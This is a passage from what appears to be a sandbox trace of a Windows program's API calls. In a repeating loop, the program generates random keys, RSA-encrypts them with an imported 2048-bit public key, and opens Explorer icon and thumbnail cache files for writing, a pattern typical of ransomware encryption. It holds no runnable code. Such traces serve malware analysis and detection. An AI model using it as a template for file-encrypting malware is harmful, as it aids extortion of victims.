pbBuffer=0x285d0d0) returned 1 [0174.607] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.607] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.612] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db210) returned 1 [0174.612] CryptGetKeyParam (in: hKey=0x35db210, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.612] CryptEncrypt (in: hKey=0x35db210, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3ec0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3ec0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.612] GetLastError () returned 0x0 [0174.612] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.612] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.618] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658700) returned 1 [0174.618] CryptGetKeyParam (in: hKey=0x658700, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.618] CryptEncrypt (in: hKey=0x658700, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3ed0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3ed0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.618] GetLastError () returned 0x0 [0174.618] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.618] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_sr.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_sr.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.618] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0174.620] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.621] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.621] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.621] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.621] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.623] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.623] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.623] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.623] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.623] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.629] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658740) returned 1 [0174.629] CryptGetKeyParam (in: hKey=0x658740, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.629] CryptEncrypt (in: hKey=0x658740, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3ee0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3ee0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.629] GetLastError () returned 0x0 [0174.629] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.629] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0174.634] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35dafd0) returned 1 [0174.634] CryptGetKeyParam (in: hKey=0x35dafd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.634] CryptEncrypt (in: hKey=0x35dafd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3ef0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3ef0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.635] GetLastError () returned 0x0 [0174.635] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.635] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_wide.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_wide.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.635] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0174.637] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.637] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.637] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.637] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.637] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0174.639] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.640] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.640] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.640] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.640] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0174.645] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x657840) returned 1 [0174.645] CryptGetKeyParam (in: hKey=0x657840, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.645] CryptEncrypt (in: hKey=0x657840, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.645] GetLastError () returned 0x0 [0174.645] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.645] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.647] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e6578) returned 1 [0174.647] CryptGetKeyParam (in: hKey=0x35e6578, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.647] CryptEncrypt (in: hKey=0x35e6578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.647] GetLastError () returned 0x0 [0174.647] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.647] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_wide_alternate.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_wide_alternate.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.647] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.648] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.648] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.649] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.649] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.649] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0174.649] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.650] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.650] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.650] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.650] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.652] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e6af8) returned 1 [0174.652] CryptGetKeyParam (in: hKey=0x35e6af8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.652] CryptEncrypt (in: hKey=0x35e6af8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.652] GetLastError () returned 0x0 [0174.652] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.652] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.654] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e6bf8) returned 1 [0174.654] CryptGetKeyParam (in: hKey=0x35e6bf8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.654] CryptEncrypt (in: hKey=0x35e6bf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.654] GetLastError () returned 0x0 [0174.654] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.654] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_16.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_16.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.654] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.655] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.656] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.656] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.656] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.656] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.656] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.657] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.657] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.657] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.657] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.659] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e6938) returned 1 [0174.659] CryptGetKeyParam (in: hKey=0x35e6938, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.659] CryptEncrypt (in: hKey=0x35e6938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3f40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3f40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.659] GetLastError () returned 0x0 [0174.659] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.659] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0174.661] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e66f8) returned 1 [0174.662] CryptGetKeyParam (in: hKey=0x35e66f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.662] CryptEncrypt (in: hKey=0x35e66f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3f50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3f50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.662] GetLastError () returned 0x0 [0174.662] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.662] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_256.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.662] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0174.663] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.663] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.663] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.663] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.663] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0174.664] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.664] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.664] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.664] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.665] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0174.666] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e6c78) returned 1 [0174.667] CryptGetKeyParam (in: hKey=0x35e6c78, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.667] CryptEncrypt (in: hKey=0x35e6c78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3f60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3f60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.667] GetLastError () returned 0x0 [0174.667] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.667] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.669] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e6b38) returned 1 [0174.669] CryptGetKeyParam (in: hKey=0x35e6b38, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.669] CryptEncrypt (in: hKey=0x35e6b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3f70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3f70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.670] GetLastError () returned 0x0 [0174.670] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.670] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_32.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.670] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0174.670] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.671] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.671] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.671] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.671] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0174.672] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.672] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.672] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.672] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.672] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.674] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e68b8) returned 1 [0174.674] CryptGetKeyParam (in: hKey=0x35e68b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.674] CryptEncrypt (in: hKey=0x35e68b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3f80000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3f80000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.674] GetLastError () returned 0x0 [0174.674] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.674] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0174.676] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e6c38) returned 1 [0174.676] CryptGetKeyParam (in: hKey=0x35e6c38, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.676] CryptEncrypt (in: hKey=0x35e6c38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3f90000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3f90000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.676] GetLastError () returned 0x0 [0174.676] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.676] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_48.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.677] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.677] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.678] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.678] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.678] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.678] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.679] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.679] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.679] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.679] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.679] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0174.681] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35e6978) returned 1 [0174.681] CryptGetKeyParam (in: hKey=0x35e6978, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.681] CryptEncrypt (in: hKey=0x35e6978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3fa0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3fa0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.681] GetLastError () returned 0x0 [0174.681] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.681] CryptAcquireContextW (in: phProv=0x285cfa4, 